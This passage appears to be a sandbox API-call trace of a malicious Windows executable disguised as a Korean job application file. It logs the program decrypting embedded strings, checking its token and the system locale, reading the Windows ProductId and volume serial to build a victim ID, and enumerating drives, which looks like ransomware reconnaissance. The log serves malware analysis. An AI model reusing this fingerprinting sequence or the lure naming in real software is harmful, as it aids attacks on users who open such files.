lpProcName="RegQueryValueExA") returned 0x777248ef [0061.767] GetProcAddress (hModule=0x77710000, lpProcName="RegOpenKeyExA") returned 0x77724907 [0061.767] GetProcAddress (hModule=0x77710000, lpProcName="CryptReleaseContext") returned 0x7771e124 [0061.767] GetProcAddress (hModule=0x77710000, lpProcName="CryptSetKeyParam") returned 0x777377b3 [0061.767] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x759d0000 [0061.780] GetProcAddress (hModule=0x759d0000, lpProcName=0x2a8) returned 0x75a244f5 [0061.781] GetProcAddress (hModule=0x759d0000, lpProcName="CommandLineToArgvW") returned 0x759e9ee8 [0061.781] GetProcAddress (hModule=0x759d0000, lpProcName="ShellExecuteExW") returned 0x759f1e46 [0061.782] GetProcAddress (hModule=0x759d0000, lpProcName="SHGetSpecialFolderPathW") returned 0x759f0468 [0061.782] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x755a0000 [0061.827] GetProcAddress (hModule=0x755a0000, lpProcName="atexit") returned 0x755bc544 [0061.828] atexit (param_1=0x390920) returned 0 [0061.828] GetVersion () returned 0x1db10106 [0061.828] GetCurrentProcess () returned 0xffffffff [0061.828] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0xf01ff, TokenHandle=0x18ef0c | out: TokenHandle=0x18ef0c*=0x8c) returned 1 [0061.829] GetTokenInformation (in: TokenHandle=0x8c, TokenInformationClass=0x14, TokenInformation=0x18ef10, TokenInformationLength=0x4, ReturnLength=0x18ef14 | out: TokenInformation=0x18ef10, ReturnLength=0x18ef14) returned 1 [0061.829] CloseHandle (hObject=0x8c) returned 1 [0061.829] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\지원서_20200303(열심히하겠습니다 잘부탁드립니다).exe\" n2636" [0061.829] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\지원서_20200303(열심히하겠습니다 잘부탁드립니다).exe\" n2636", pNumArgs=0x18ef14 | out: pNumArgs=0x18ef14) returned 0x23b1c0*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\지원서_20200303(열심히하겠습니다 잘부탁드립니다).exe" [0061.830] GetProcessHeap () returned 0x220000 [0061.830] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x1) returned 0x2308b0 [0061.830] GetProcessHeap () returned 0x220000 [0061.830] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x2c) returned 0x23b278 [0061.830] CryptAcquireContextW (in: phProv=0x23b278, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x23b278*=0x23cc38) returned 1 [0061.933] GetProcessHeap () returned 0x220000 [0061.933] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa0) returned 0x23e460 [0061.934] CryptImportKey (in: hProv=0x23cc38, pbData=0x18ee88, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x23b27c | out: phKey=0x23b27c*=0x23b390) returned 1 [0061.935] CryptDecrypt (in: hKey=0x23b390, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23e460, pdwDataLen=0x23b2a0 | out: pbData=0x23e460, pdwDataLen=0x23b2a0) returned 1 [0061.936] CryptDestroyKey (hKey=0x23b390) returned 1 [0061.936] GetSystemWindowsDirectoryW (in: lpBuffer=0x408818, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0061.936] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x408a20, nSize=0x400 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\지원서_20200303(열심히하겠습니다 잘부탁드립니다).exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\지원서_20200303(열심히하겠습니다 잘부탁드립니다).exe")) returned 0x48 [0061.937] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x409a20, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0061.965] GetProcessHeap () returned 0x220000 [0061.965] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x8) returned 0x23ed68 [0061.965] GetProcessHeap () returned 0x220000 [0061.965] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x23ed90 [0061.966] GetProcessHeap () returned 0x220000 [0061.966] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x20) returned 0x23b928 [0061.966] CryptImportKey (in: hProv=0x23cc38, pbData=0x18ee90, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x23b27c | out: phKey=0x23b27c*=0x23f178) returned 1 [0061.966] CryptDecrypt (in: hKey=0x23f178, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23b928, pdwDataLen=0x18eef8 | out: pbData=0x23b928, pdwDataLen=0x18eef8) returned 1 [0061.966] CryptDestroyKey (hKey=0x23f178) returned 1 [0061.966] GetProcessHeap () returned 0x220000 [0061.966] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x20) returned 0x23b950 [0061.966] CryptImportKey (in: hProv=0x23cc38, pbData=0x18ee90, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x23b27c | out: phKey=0x23b27c*=0x23f178) returned 1 [0061.966] CryptDecrypt (in: hKey=0x23f178, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23b950, pdwDataLen=0x18eef8 | out: pbData=0x23b950, pdwDataLen=0x18eef8) returned 1 [0061.967] CryptDestroyKey (hKey=0x23f178) returned 1 [0061.967] GetProcessHeap () returned 0x220000 [0061.967] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x40) returned 0x23bce0 [0061.967] CryptImportKey (in: hProv=0x23cc38, pbData=0x18ee90, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x23b27c | out: phKey=0x23b27c*=0x23f178) returned 1 [0061.967] CryptDecrypt (in: hKey=0x23f178, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23bce0, pdwDataLen=0x18eef8 | out: pbData=0x23bce0, pdwDataLen=0x18eef8) returned 1 [0061.967] CryptDestroyKey (hKey=0x23f178) returned 1 [0061.967] GetProcessHeap () returned 0x220000 [0061.967] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x80) returned 0x23f178 [0061.967] CryptImportKey (in: hProv=0x23cc38, pbData=0x18ee90, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x23b27c | out: phKey=0x23b27c*=0x23f200) returned 1 [0061.967] CryptDecrypt (in: hKey=0x23f200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23f178, pdwDataLen=0x18eefc | out: pbData=0x23f178, pdwDataLen=0x18eefc) returned 1 [0061.967] CryptDestroyKey (hKey=0x23f200) returned 1 [0061.968] GetProcessHeap () returned 0x220000 [0061.968] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x14) returned 0x23f200 [0061.968] GetProcessHeap () returned 0x220000 [0061.968] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xd) returned 0x23eda8 [0061.968] GetProcessHeap () returned 0x220000 [0061.968] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x1f) returned 0x23b978 [0061.968] GetProcessHeap () returned 0x220000 [0061.968] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x1e) returned 0x23b9a0 [0061.968] GetProcessHeap () returned 0x220000 [0061.968] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xd) returned 0x23edc0 [0061.968] GetProcessHeap () returned 0x220000 [0061.968] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x18) returned 0x23f220 [0061.968] GetModuleHandleA (lpModuleName="Kernel32.dll") returned 0x76d30000 [0061.969] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0061.969] GetModuleHandleA (lpModuleName="Kernel32.dll") returned 0x76d30000 [0061.969] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x76d5d668 [0061.969] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77710000 [0061.969] GetProcAddress (hModule=0x77710000, lpProcName="CreateProcessWithTokenW") returned 0x7775531f [0061.969] GetProcessHeap () returned 0x220000 [0061.969] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23f178 | out: hHeap=0x220000) returned 1 [0061.969] GetProcessHeap () returned 0x220000 [0061.969] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23eda8 | out: hHeap=0x220000) returned 1 [0061.969] GetProcessHeap () returned 0x220000 [0061.969] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23b978 | out: hHeap=0x220000) returned 1 [0061.969] GetProcessHeap () returned 0x220000 [0061.969] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23b9a0 | out: hHeap=0x220000) returned 1 [0061.969] GetProcessHeap () returned 0x220000 [0061.970] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23edc0 | out: hHeap=0x220000) returned 1 [0061.970] GetProcessHeap () returned 0x220000 [0061.970] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23f220 | out: hHeap=0x220000) returned 1 [0061.970] GetProcessHeap () returned 0x220000 [0061.970] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23f200 | out: hHeap=0x220000) returned 1 [0061.970] GetLocaleInfoW (in: Locale=0x800, LCType=0x58, lpLCData=0x18eee8, cchData=32 | out: lpLCData="\x03") returned 16 [0061.971] GetProcessHeap () returned 0x220000 [0061.971] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x4) returned 0x23f178 [0061.971] GetProcessHeap () returned 0x220000 [0061.971] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa0) returned 0x23f188 [0061.972] CryptImportKey (in: hProv=0x23cc38, pbData=0x18ee68, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x23b27c | out: phKey=0x23b27c*=0x23f230) returned 1 [0061.972] CryptDecrypt (in: hKey=0x23f230, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23f188, pdwDataLen=0x18eed4 | out: pbData=0x23f188, pdwDataLen=0x18eed4) returned 1 [0061.972] CryptDestroyKey (hKey=0x23f230) returned 1 [0061.972] GetProcessHeap () returned 0x220000 [0061.972] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x8) returned 0x23f230 [0061.972] GetProcessHeap () returned 0x220000 [0061.972] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x12) returned 0x23f240 [0061.972] GetProcessHeap () returned 0x220000 [0061.972] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x8) returned 0x23f260 [0061.972] GetProcessHeap () returned 0x220000 [0061.972] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x1a) returned 0x23b9a0 [0061.972] GetProcessHeap () returned 0x220000 [0061.972] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x8) returned 0x23f270 [0061.972] GetProcessHeap () returned 0x220000 [0061.973] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x23edc0 [0061.973] GetProcessHeap () returned 0x220000 [0061.973] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x8) returned 0x23f280 [0061.973] GetProcessHeap () returned 0x220000 [0061.973] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x1a) returned 0x23b978 [0061.973] GetProcessHeap () returned 0x220000 [0061.973] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x8) returned 0x23f290 [0061.973] GetProcessHeap () returned 0x220000 [0061.973] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xe) returned 0x23eda8 [0061.973] GetProcessHeap () returned 0x220000 [0061.973] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x8) returned 0x23f2a0 [0061.973] GetProcessHeap () returned 0x220000 [0061.973] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x26) returned 0x23f2b0 [0061.973] GetProcessHeap () returned 0x220000 [0061.973] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23f188 | out: hHeap=0x220000) returned 1 [0061.973] GetProcessHeap () returned 0x220000 [0061.974] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x4) returned 0x23f188 [0061.974] GetProcessHeap () returned 0x220000 [0061.974] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x20) returned 0x23b9c8 [0061.974] CryptImportKey (in: hProv=0x23cc38, pbData=0x18ee68, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x23b27c | out: phKey=0x23b27c*=0x23f198) returned 1 [0061.974] CryptDecrypt (in: hKey=0x23f198, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23b9c8, pdwDataLen=0x18eed4 | out: pbData=0x23b9c8, pdwDataLen=0x18eed4) returned 1 [0061.974] CryptDestroyKey (hKey=0x23f198) returned 1 [0061.974] GetProcessHeap () returned 0x220000 [0061.974] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23b9c8 | out: hHeap=0x220000) returned 1 [0061.974] GetProcessHeap () returned 0x220000 [0061.974] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x4) returned 0x23f598 [0061.974] GetProcessHeap () returned 0x220000 [0061.974] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x20) returned 0x23b9c8 [0061.974] CryptImportKey (in: hProv=0x23cc38, pbData=0x18ee68, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x23b27c | out: phKey=0x23b27c*=0x23f198) returned 1 [0061.975] CryptDecrypt (in: hKey=0x23f198, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23b9c8, pdwDataLen=0x18eed4 | out: pbData=0x23b9c8, pdwDataLen=0x18eed4) returned 1 [0061.975] CryptDestroyKey (hKey=0x23f198) returned 1 [0061.975] GetProcessHeap () returned 0x220000 [0061.975] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23b9c8 | out: hHeap=0x220000) returned 1 [0061.975] GetProcessHeap () returned 0x220000 [0061.975] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x4) returned 0x23f5a8 [0061.975] GetProcessHeap () returned 0x220000 [0061.975] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x20) returned 0x23b9c8 [0061.975] CryptImportKey (in: hProv=0x23cc38, pbData=0x18ee68, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x23b27c | out: phKey=0x23b27c*=0x23f198) returned 1 [0061.975] CryptDecrypt (in: hKey=0x23f198, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23b9c8, pdwDataLen=0x18eed4 | out: pbData=0x23b9c8, pdwDataLen=0x18eed4) returned 1 [0061.975] CryptDestroyKey (hKey=0x23f198) returned 1 [0061.975] GetProcessHeap () returned 0x220000 [0061.976] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23b9c8 | out: hHeap=0x220000) returned 1 [0061.976] GetProcessHeap () returned 0x220000 [0061.976] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x4) returned 0x23f5b8 [0061.976] GetProcessHeap () returned 0x220000 [0061.976] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x40) returned 0x23bd28 [0061.976] CryptImportKey (in: hProv=0x23cc38, pbData=0x18ee68, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x23b27c | out: phKey=0x23b27c*=0x23f198) returned 1 [0061.976] CryptDecrypt (in: hKey=0x23f198, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23bd28, pdwDataLen=0x18eed4 | out: pbData=0x23bd28, pdwDataLen=0x18eed4) returned 1 [0061.976] CryptDestroyKey (hKey=0x23f198) returned 1 [0061.976] GetProcessHeap () returned 0x220000 [0061.976] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x8) returned 0x23f5c8 [0061.976] GetProcessHeap () returned 0x220000 [0061.976] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x23edd8 [0061.976] GetProcessHeap () returned 0x220000 [0061.976] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x8) returned 0x23f5d8 [0061.976] GetProcessHeap () returned 0x220000 [0061.976] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xe) returned 0x23edf0 [0061.977] GetProcessHeap () returned 0x220000 [0061.977] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x8) returned 0x23f5e8 [0061.977] GetProcessHeap () returned 0x220000 [0061.977] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x8) returned 0x23f5f8 [0061.977] GetProcessHeap () returned 0x220000 [0061.977] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23bd28 | out: hHeap=0x220000) returned 1 [0061.977] GetProcessHeap () returned 0x220000 [0061.977] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x24) returned 0x23f198 [0061.977] GetShellWindow () returned 0x100f2 [0061.978] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x40a25c | out: lpdwProcessId=0x40a25c) returned 0x458 [0061.978] GetProcessHeap () returned 0x220000 [0061.978] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x20) returned 0x23b9f0 [0061.978] CryptImportKey (in: hProv=0x23cc38, pbData=0x18ee68, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x23b27c | out: phKey=0x23b27c*=0x23f1c8) returned 1 [0061.979] CryptDecrypt (in: hKey=0x23f1c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23b9f0, pdwDataLen=0x18eed4 | out: pbData=0x23b9f0, pdwDataLen=0x18eed4) returned 1 [0061.979] CryptDestroyKey (hKey=0x23f1c8) returned 1 [0061.979] GetProcessHeap () returned 0x220000 [0061.979] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x20) returned 0x23ba18 [0061.979] CryptImportKey (in: hProv=0x23cc38, pbData=0x18ee68, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x23b27c | out: phKey=0x23b27c*=0x23f1c8) returned 1 [0061.979] CryptDecrypt (in: hKey=0x23f1c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23ba18, pdwDataLen=0x18eed4 | out: pbData=0x23ba18, pdwDataLen=0x18eed4) returned 1 [0061.979] CryptDestroyKey (hKey=0x23f1c8) returned 1 [0061.979] GetProcessHeap () returned 0x220000 [0061.979] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x40) returned 0x23bd28 [0061.979] CryptImportKey (in: hProv=0x23cc38, pbData=0x18ee68, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x23b27c | out: phKey=0x23b27c*=0x23f1c8) returned 1 [0061.979] CryptDecrypt (in: hKey=0x23f1c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23bd28, pdwDataLen=0x18eed4 | out: pbData=0x23bd28, pdwDataLen=0x18eed4) returned 1 [0061.979] CryptDestroyKey (hKey=0x23f1c8) returned 1 [0061.979] GetProcessHeap () returned 0x220000 [0061.980] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x20) returned 0x23ba40 [0061.980] CryptImportKey (in: hProv=0x23cc38, pbData=0x18ec40, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x23b27c | out: phKey=0x23b27c*=0x23f1c8) returned 1 [0061.980] CryptDecrypt (in: hKey=0x23f1c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23ba40, pdwDataLen=0x18ecac | out: pbData=0x23ba40, pdwDataLen=0x18ecac) returned 1 [0061.980] CryptDestroyKey (hKey=0x23f1c8) returned 1 [0061.980] GetProcessHeap () returned 0x220000 [0061.980] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x60) returned 0x23f1c8 [0061.980] CryptImportKey (in: hProv=0x23cc38, pbData=0x18ec40, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x23b27c | out: phKey=0x23b27c*=0x23f2e0) returned 1 [0061.980] CryptDecrypt (in: hKey=0x23f2e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23f1c8, pdwDataLen=0x18ecac | out: pbData=0x23f1c8, pdwDataLen=0x18ecac) returned 1 [0061.980] CryptDestroyKey (hKey=0x23f2e0) returned 1 [0061.980] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x18ecb0, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0061.980] GetProcessHeap () returned 0x220000 [0061.980] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23ba40 | out: hHeap=0x220000) returned 1 [0061.981] GetProcessHeap () returned 0x220000 [0061.981] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x20) returned 0x23ba40 [0061.981] CryptImportKey (in: hProv=0x23cc38, pbData=0x18ec40, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x23b27c | out: phKey=0x23b27c*=0x23f2e0) returned 1 [0061.981] CryptDecrypt (in: hKey=0x23f2e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23ba40, pdwDataLen=0x18ecac | out: pbData=0x23ba40, pdwDataLen=0x18ecac) returned 1 [0061.981] CryptDestroyKey (hKey=0x23f2e0) returned 1 [0061.981] GetProcessHeap () returned 0x220000 [0061.981] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x60) returned 0x23f2e0 [0061.981] CryptImportKey (in: hProv=0x23cc38, pbData=0x18ec40, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x23b27c | out: phKey=0x23b27c*=0x23f348) returned 1 [0061.981] CryptDecrypt (in: hKey=0x23f348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23f2e0, pdwDataLen=0x18ecac | out: pbData=0x23f2e0, pdwDataLen=0x18ecac) returned 1 [0061.981] CryptDestroyKey (hKey=0x23f348) returned 1 [0061.981] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x18ecb0, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0061.981] GetProcessHeap () returned 0x220000 [0061.981] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23ba40 | out: hHeap=0x220000) returned 1 [0061.981] GetProcessHeap () returned 0x220000 [0061.981] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x1e) returned 0x23ba40 [0061.981] GetProcessHeap () returned 0x220000 [0061.982] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x12) returned 0x23f348 [0061.982] GetProcessHeap () returned 0x220000 [0061.982] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x8) returned 0x23f608 [0061.982] GetProcessHeap () returned 0x220000 [0061.982] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x40) returned 0x23bd70 [0061.982] GetProcessHeap () returned 0x220000 [0061.982] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x80) returned 0x23f368 [0061.982] CryptImportKey (in: hProv=0x23cc38, pbData=0x18ee68, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x23b27c | out: phKey=0x23b27c*=0x23f3f0) returned 1 [0061.982] CryptDecrypt (in: hKey=0x23f3f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23f368, pdwDataLen=0x18eed4 | out: pbData=0x23f368, pdwDataLen=0x18eed4) returned 1 [0061.982] CryptDestroyKey (hKey=0x23f3f0) returned 1 [0061.982] GetProcessHeap () returned 0x220000 [0061.983] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x80) returned 0x23f3f0 [0061.983] CryptImportKey (in: hProv=0x23cc38, pbData=0x18ee68, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x23b27c | out: phKey=0x23b27c*=0x23f478) returned 1 [0061.983] CryptDecrypt (in: hKey=0x23f478, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23f3f0, pdwDataLen=0x18eed4 | out: pbData=0x23f3f0, pdwDataLen=0x18eed4) returned 1 [0061.983] CryptDestroyKey (hKey=0x23f478) returned 1 [0061.983] SetErrorMode (uMode=0x1) returned 0x0 [0061.983] GetLogicalDrives () returned 0x4 [0061.983] GetProcessHeap () returned 0x220000 [0061.983] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x40) returned 0x23bdb8 [0061.983] CryptImportKey (in: hProv=0x23cc38, pbData=0x18e9d8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x23b27c | out: phKey=0x23b27c*=0x23f478) returned 1 [0061.983] CryptDecrypt (in: hKey=0x23f478, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23bdb8, pdwDataLen=0x18ea48 | out: pbData=0x23bdb8, pdwDataLen=0x18ea48) returned 1 [0061.984] CryptDestroyKey (hKey=0x23f478) returned 1 [0061.984] GetProcessHeap () returned 0x220000 [0061.984] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x20) returned 0x23bab8 [0061.984] CryptImportKey (in: hProv=0x23cc38, pbData=0x18e9d8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x23b27c | out: phKey=0x23b27c*=0x23f478) returned 1 [0061.984] CryptDecrypt (in: hKey=0x23f478, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23bab8, pdwDataLen=0x18ea48 | out: pbData=0x23bab8, pdwDataLen=0x18ea48) returned 1 [0061.984] CryptDestroyKey (hKey=0x23f478) returned 1 [0061.984] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x18ea44 | out: phkResult=0x18ea44*=0xc4) returned 0x0 [0061.985] RegQueryValueExA (in: hKey=0xc4, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x18ea50, lpcbData=0x18ea4c*=0x400 | out: lpType=0x0, lpData=0x18ea50*=0x30, lpcbData=0x18ea4c*=0x18) returned 0x0 [0061.985] RegCloseKey (hKey=0xc4) returned 0x0 [0061.985] GetProcessHeap () returned 0x220000 [0061.985] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23bdb8 | out: hHeap=0x220000) returned 1 [0061.985] GetProcessHeap () returned 0x220000 [0061.985] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23bab8 | out: hHeap=0x220000) returned 1 [0061.985] GetProcessHeap () returned 0x220000 [0061.985] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x20) returned 0x23bab8 [0061.985] CryptImportKey (in: hProv=0x23cc38, pbData=0x18e7b8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x23b27c | out: phKey=0x23b27c*=0x23f478) returned 1 [0061.986] CryptDecrypt (in: hKey=0x23f478, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23bab8, pdwDataLen=0x18e81c | out: pbData=0x23bab8, pdwDataLen=0x18e81c) returned 1 [0061.986] CryptDestroyKey (hKey=0x23f478) returned 1 [0061.986] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x18e820, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0061.986] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x18e818, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18e818*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0061.987] GetProcessHeap () returned 0x220000 [0061.987] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23bab8 | out: hHeap=0x220000) returned 1 [0061.987] wsprintfA (in: param_1=0x18ea67, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0061.988] wsprintfW (in: param_1=0x18ee78, param_2="\\\\.\\%c:" | out: param_1="\\\\.\\C:") returned 6 [0061.988] wsprintfW (in: param_1=0x18ee88, param_2="%c:\\" | out: param_1="C:\\") returned 3 [0061.988] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0061.988] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x18ee68, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18ee68*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0061.989] GetProcessHeap () returned 0x220000 [0061.989] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x34) returned 0x23f478 [0061.989] GetProcessHeap () returned 0x220000 